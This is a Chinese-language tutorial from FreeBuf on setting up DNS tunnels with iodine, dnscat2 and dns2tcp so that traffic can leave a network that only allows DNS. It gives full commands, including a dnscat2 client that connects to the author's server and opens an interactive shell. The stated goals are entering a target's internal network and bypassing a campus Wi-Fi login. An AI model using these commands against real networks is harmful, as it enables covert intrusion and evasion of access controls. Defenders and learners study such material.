一文讀懂DNS隧道
一.DNS隧道準(zhǔn)備
和我哥們?cè)诳匆粋€(gè)站點(diǎn)的時(shí)候,發(fā)現(xiàn)是不出網(wǎng)的,但是站點(diǎn)可以做DNS查詢,所以想著搭建一個(gè)DNS隧道。
1.DNS隧道介紹
DNS隧道,是隧道技術(shù)中的一種。當(dāng)我們的HTTP、HTTPS這樣的上層協(xié)議、正反向端口轉(zhuǎn)發(fā)都失敗的時(shí)候,可以嘗試使用DNS隧道。DNS隧道很難防范,因?yàn)槠綍r(shí)的業(yè)務(wù)也好,使用也罷,難免會(huì)用到DNS協(xié)議進(jìn)行解析,所以防火墻大多對(duì)DNS的流量是放行狀態(tài)。這時(shí)候,如果我們?cè)诓怀鼍W(wǎng)機(jī)器構(gòu)造一個(gè)惡意的域名(***.xxx.ga),本地的DNS服務(wù)器無(wú)法給出回答時(shí),就會(huì)以迭代查詢的方式通過(guò)互聯(lián)網(wǎng)定位到所查詢域的權(quán)威DNS服務(wù)器。最后,這條DNS請(qǐng)求會(huì)落到我們提前搭建好的惡意DNS服務(wù)器上,于是乎,我們的不出網(wǎng)主機(jī)就和惡意DNS服務(wù)器交流上了。
搭建DNS隧道的工具目前有iodine,dnscat,dns2tcp等。
我目前使用的是iodine工具去搭建。
2.前期準(zhǔn)備
1個(gè)域名,1個(gè)公網(wǎng)服務(wù)器
需要申請(qǐng)一個(gè)域名(最好匿名的,推薦申請(qǐng)網(wǎng)站http://www.freenom.com/zh/index.html),免費(fèi)且匿名的。
申請(qǐng)的時(shí)候直接帶上后綴申請(qǐng),不然會(huì)顯示域名不可用(例如:jingbao123.ga)。
申請(qǐng)好之后推薦將freenom的域名服務(wù)器更改為騰訊dnspod的,更方面管理域名并且可以配置NS解析,freenom我沒(méi)找到NS記錄。
dnspod:https://www.dnspod.cn,在dnspod中添加剛申請(qǐng)的域名,然后dnspod會(huì)給出兩條dns服務(wù)器地址,
將freenom中dns服務(wù)器更改為dnspod提供的地址,就可以將域名的解析權(quán)給引到dnspod。
dnspod得到域名的管理權(quán)之后,在里面添加兩條解析記錄。
第一條A類記錄,告訴域名系統(tǒng),"www.woshishui120.ga"的IP地址是"121.xxx.xxx.xxx"
第二條NS記錄,告訴域名系統(tǒng),"ns.woshishui120.ga"的域名由"www.woshishui120.ga"進(jìn)行解析。
到此前期準(zhǔn)備工作就已經(jīng)完成了,已經(jīng)將域名綁定到了我們的公網(wǎng)服務(wù)器上。
二.iodine DNS隧道搭建
在我們的公網(wǎng)服務(wù)器安裝iodine,該工具服務(wù)端為iodined,客戶端為iodine。
執(zhí)行apt install iodine命令會(huì)同時(shí)安裝服務(wù)端與客戶端。
1.服務(wù)端
在公網(wǎng)服務(wù)器上部署iodine服務(wù)端。(需要root權(quán)限運(yùn)行)
iodined -f -c -P 123.com 192.168.200.1 ns.woshishui120.ga -DD
- \-f:在前臺(tái)運(yùn)行
- \-c:禁止檢查所有傳入請(qǐng)求的客戶端IP地址。
- \-P:客戶端和服務(wù)端之間用于驗(yàn)證身份的密碼。
- \-D:指定調(diào)試級(jí)別,-DD指第二級(jí)?!癉”的數(shù)量隨級(jí)別增加。
這里的192.168.200.1為自定義局域網(wǎng)虛擬IP地址,建議不要與現(xiàn)有網(wǎng)段沖突注意!填寫(xiě)的地址為NS記錄
執(zhí)行完該命令之后會(huì)新生成一個(gè)dns0虛擬網(wǎng)卡,ip地址就是剛才命令中輸入的ip地址(192.168.200.1)。
**ubuntu默認(rèn)53端口是打開(kāi)的,通過(guò)下面命令關(guān)閉掉53端口**
rm /etc/resolv.conf&&echo "nameserver x.x.x.x" >> /etc/resolv.conf 配置dns服務(wù)器(x.x.x.x改為dns服務(wù)器,8.8.8.8等)
systemctl stop systemd-resolved 停止該進(jìn)程
systemctl disable systemd-resolved 關(guān)閉開(kāi)機(jī)自啟動(dòng)
2.客戶端
客戶端我使用的kali,kali自帶iodine工具。
iodine -f -P 123.com ns.woshishui120.ga -M 200
- -r:iodine有時(shí)會(huì)自動(dòng)將DNS隧道切換為UDP隧道,該參數(shù)的作用是強(qiáng)制在任何情況下使用DNS隧道
- -M:指定上行主機(jī)的大小。
- -m:調(diào)節(jié)最大下行分片的大小。
- -f:在前臺(tái)運(yùn)行
- -T:指定DNS請(qǐng)求類型TYPE,可選項(xiàng)有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
- -O:指定數(shù)據(jù)編碼規(guī)范。
- -P:客戶端和服務(wù)端之間用于驗(yàn)證身份的密碼。
- -L:指定是否開(kāi)啟懶惰模式,默認(rèn)開(kāi)啟。
- -I:指定兩個(gè)請(qǐng)求之間的時(shí)間間隔。
3.坑點(diǎn)
我客戶端執(zhí)行連接命令之后,死活連接不到(如上圖所示),剛開(kāi)始我以為我的ns記錄未生效,但是中午配置的下午我試還是不行。我又認(rèn)為是騰訊云的緣故,53端口不可用等,但是各位大佬說(shuō)53端口是可用的,于是就求助各位大佬。最終大佬給的這篇文章有了答案。https://exploit0.cn/archives/571/
我的公網(wǎng)服務(wù)器是騰訊云的,我當(dāng)時(shí)只在防火墻管理面板打開(kāi)了tcp53端口,但是沒(méi)有打開(kāi)udp53端口。dns解析使用的是udp53端口。
于是我快速的打開(kāi)了騰訊云防火墻的udp53端口。
然后繼續(xù)執(zhí)行上述命令。
可以看到已經(jīng)連接成功。但是會(huì)報(bào)編碼錯(cuò)誤,經(jīng)過(guò)大佬指示該工具也可以指定編碼。參數(shù)為-O
iodine -f -P 123.com ns.woshishui120.ga -M 200 -O base64
雖然也會(huì)出現(xiàn)編碼錯(cuò)誤,但是比剛才明顯少了很多。
連接成功之后,kali上也會(huì)生成一個(gè)虛擬網(wǎng)卡。ip地址被分配為192.168.200.2。
在kali上ping一下公網(wǎng)服務(wù)器的虛擬地址,可以ping通,說(shuō)明DNS隧道已經(jīng)搭建成功了。
現(xiàn)在就相當(dāng)于在公網(wǎng)服務(wù)器和kail之間各生成了一個(gè)虛擬網(wǎng)卡,然后這兩個(gè)虛擬網(wǎng)卡之間是互通的,
在公網(wǎng)服務(wù)器上連接kali的虛擬地址,使用ssh做一個(gè)動(dòng)態(tài)端口轉(zhuǎn)發(fā)。
ssh -D 60688 root@192.168.200.2
但此時(shí)只相當(dāng)于在公網(wǎng)服務(wù)器的192.168.200.1的60688端口搭建了一個(gè)socks5代理隧道,如果想要本地使用該隧道是行不通的,因?yàn)?92.168.200.1相當(dāng)于一個(gè)內(nèi)網(wǎng)地址,是不能直接訪問(wèn)得到的,所以需要將公網(wǎng)服務(wù)器虛擬網(wǎng)卡地址192.168.200.1的60688端口數(shù)據(jù)轉(zhuǎn)發(fā)到公網(wǎng)服務(wù)器公網(wǎng)地址的一個(gè)端口上。這個(gè)端口轉(zhuǎn)發(fā)我還沒(méi)試(不知道采用哪個(gè)工具會(huì)好點(diǎn))。
我用的是frp在兩個(gè)虛擬網(wǎng)卡之間搭建一個(gè)反向隧道。
4.frp搭建隧道
在公網(wǎng)服務(wù)器開(kāi)啟服務(wù)端。
然后使用kali去連接,kali連接的服務(wù)端ip為公網(wǎng)服務(wù)器虛擬網(wǎng)卡的ip。
kali顯示如下
公網(wǎng)服務(wù)器顯示如下
即成功在公網(wǎng)服務(wù)器的60688端口搭建了一個(gè)socks5隧道,相當(dāng)于socks5隧道套接在dns隧道里面。
然后就可以通過(guò)公網(wǎng)服務(wù)器的60688端口去遨游kali的內(nèi)網(wǎng)。(但是感覺(jué)很卡)
三.dnscat2 DNS隧道搭建
(1)直連模式
客戶端直接向指定IP地址的DNS服務(wù)器發(fā)起DNS解析請(qǐng)求
1.服務(wù)端
公網(wǎng)服務(wù)器做服務(wù)端
ruby dnscat2.rb
2.客戶端
dnscat --dns server=121.5.145.31,port=53 --secret=4575d232b01034db7eae9baa9ac4dbe2
kali做客戶端:命令為服務(wù)端輸出的命令(上圖紅色圈出的地方,x.x.x.x更改為自己公網(wǎng)服務(wù)器地址)
不知道為什么直連模式下kali連接不到服務(wù)端(有大佬知道的可以告知下)
(2)中繼模式
DNS經(jīng)過(guò)互聯(lián)網(wǎng)的迭代解析,指向指定的DNS服務(wù)器。與直連模式相比,中繼模式的速度較慢
1.服務(wù)端
公網(wǎng)服務(wù)器作為服務(wù)端
ruby dnscat2.rb ns.woshishui120.ga -e open --no-cache -c 123.com
-e:指定安全級(jí)別,open表示服務(wù)端運(yùn)行客戶端不進(jìn)行加密
-c:指定密鑰
--no-cache:禁止緩存,一定添加該選項(xiàng),因?yàn)閜owershell-dnscat2客戶端域dnscat2服務(wù)端的Caching模式不兼容
2.客戶端
kali作為客戶端
dnscat --secret=123.com ns.woshishui120.ga
使用dnscat2搭建dns隧道,搭建成功之后,會(huì)在服務(wù)端生成一個(gè)session,
進(jìn)入session 2執(zhí)行shell之后會(huì)生成一個(gè)新session,
該新session可以執(zhí)行命令。
sessions 列出所有session
session -i 2 進(jìn)入session 2
shell:創(chuàng)建交互式shell
suspend:返回上一層
listen 127.0.0.1:888 127.0.0.1:22 第一個(gè)127.0.0.1為服務(wù)端ip,第二個(gè)127.0.0.1為客戶端ip,將客戶端的22端口轉(zhuǎn)到服務(wù)端的888端口 ssh -p 888 127.0.0.1
四.dns2tcp DNS隧道搭建
1.服務(wù)端
公網(wǎng)服務(wù)器做服務(wù)端
更改dns2tcp配置文件的listen為0.0.0.0,(監(jiān)聽(tīng)在0.0.0.0就可以讓客戶端連接到服務(wù)端)
resources后面可以自己更改,name:公網(wǎng)服務(wù)器_ip:port ,格式按照這個(gè)即可。名字,端口隨便設(shè)置,公網(wǎng)服務(wù)器_ip為公網(wǎng)服務(wù)器公網(wǎng)ip。名字設(shè)置為name,客戶端-r后面參數(shù)就跟設(shè)置的name。
dns2tcpd -f /etc/dns2tcpd.conf -F -d 2
- -f /etc/dns2tcpd.conf”指定了配置文件,
- -F要求程序在前臺(tái)運(yùn)行,
- -d 2 指明了輸出調(diào)試信息,級(jí)別為2
2.客戶端
kali做客戶端
dns2tcpc -r ssh -z ns.woshishui120.ga -l 8888 -d 2 中繼模式
dns2tcpc -r ssh -z ns.woshishui120.ga 121.5.145.31 -l 8888 -d 2 直連模式
- -r 后接服務(wù)名稱<ssh/socks中的任意一個(gè)>,該名稱自己隨便在服務(wù)端的配置文件dns2tcpd.conf設(shè)置,
- -z 后接你設(shè)置的NS記錄,和你的公網(wǎng)服務(wù)器公網(wǎng)ip <公網(wǎng)ip> 可不填,不寫(xiě)將使用中繼模式,否則使用直連模式
- 中繼模式像我們平時(shí)上網(wǎng)一樣,DNS解析先經(jīng)過(guò)互聯(lián)網(wǎng)的迭代解析,最后指向我們的惡意DNS服務(wù)器。相比直連,速度較慢,但是更安全。
- -l 后接本地端口,隨便一個(gè)常用端口就行,8888”指明了隧道的這頭監(jiān)聽(tīng)的端口
- -d 開(kāi)啟 Debug ,"-d 2"指明了輸出調(diào)試信息,級(jí)別為2,作用和服務(wù)器端相同
- -k 密碼
該命令代表:連接服務(wù)端的ssh名稱,訪問(wèn)kali的8888端口相當(dāng)于訪問(wèn)vps的22端口。
輸入該命令之后客戶端和服務(wù)端并不會(huì)有輸出,剛開(kāi)始我看沒(méi)輸出,還以為沒(méi)連接上。
ssh ubuntu@公網(wǎng)服務(wù)器 -p 8888 就可連接到公網(wǎng)服務(wù)器的ssh服務(wù)上。(輸入該命令之后服務(wù)端與客戶端就會(huì)有輸出)
如果想要通過(guò)該dns隧道達(dá)到訪問(wèn)互聯(lián)網(wǎng)的目的。-r指定服務(wù)端配置文件的socks,還需要在服務(wù)端的60688端口開(kāi)啟一個(gè)正向的socks5隧道(該端口在服務(wù)端的配置文件中設(shè)置,socks:121.5.145.31:60688,socks和60688都可以隨便設(shè)置),不然就只是kali和公網(wǎng)服務(wù)器互通了,但是kali不能通過(guò)公網(wǎng)服務(wù)器訪問(wèn)互聯(lián)網(wǎng),當(dāng)在公網(wǎng)服務(wù)器的60688端口開(kāi)啟一個(gè)socks5隧道后,就可以通過(guò)kali與公網(wǎng)服務(wù)器的dns隧道互通,然后通過(guò)公網(wǎng)服務(wù)器的socks5端口(60688)去訪問(wèn)互聯(lián)網(wǎng)。
公網(wǎng)服務(wù)器開(kāi)啟正向socks5,可以使用gost或者proxy
gost開(kāi)啟正向socks5代理
gost -L=socks5://:60688公網(wǎng)服務(wù)器開(kāi)啟正向socks5代理
proxy開(kāi)啟正向socks5代理
proxy socks -t tcp -p "0.0.0.0:60688" --udp-port 0 --udp
goproxy使用:https://github.com/snail007/goproxy/blob/master/README_ZH.md
gost或者proxy隨便選擇一種即可,個(gè)人感覺(jué)gost比較快一點(diǎn)
dns2tcpc -r socks -z ns.woshishui120.ga -l 8888 -d 2
此時(shí)訪問(wèn)kali的8888端口,就可以訪問(wèn)互聯(lián)網(wǎng)。
kali配置代理訪問(wèn)百度
就可以實(shí)現(xiàn)在只有dns出網(wǎng)的環(huán)境下,訪問(wèn)互聯(lián)網(wǎng)。
五.工具利用環(huán)境
1.外->內(nèi)
iodine和dnscat2使用環(huán)境:目標(biāo)是內(nèi)網(wǎng),并且只有dns出網(wǎng)的情況下,通過(guò)自己的公網(wǎng)服務(wù)器搭建到目標(biāo)的dns隧道,從而通過(guò)公網(wǎng)服務(wù)器代理進(jìn)入目標(biāo)內(nèi)網(wǎng),遨游目標(biāo)內(nèi)網(wǎng)。
2.內(nèi)->外
dns2tcp使用的環(huán)境是:自己在一個(gè)內(nèi)網(wǎng)里面,自己所處的環(huán)境不出網(wǎng),但是dns可以出網(wǎng),就可以用過(guò)dns2tcp搭建一個(gè)dns隧道,從而可以訪問(wèn)到互聯(lián)網(wǎng)環(huán)境。
典型環(huán)境:在學(xué)校連接到wifi之后,必須要認(rèn)證登陸,不然不能上網(wǎng),但是瀏覽器又能加載出登陸界面,此情況就是dns出網(wǎng),可以通過(guò)dns2tcp搭建dns隧道繞過(guò)認(rèn)證登陸。
本文作者:我們的征途是星辰大海, 轉(zhuǎn)載請(qǐng)注明來(lái)自FreeBuf.COM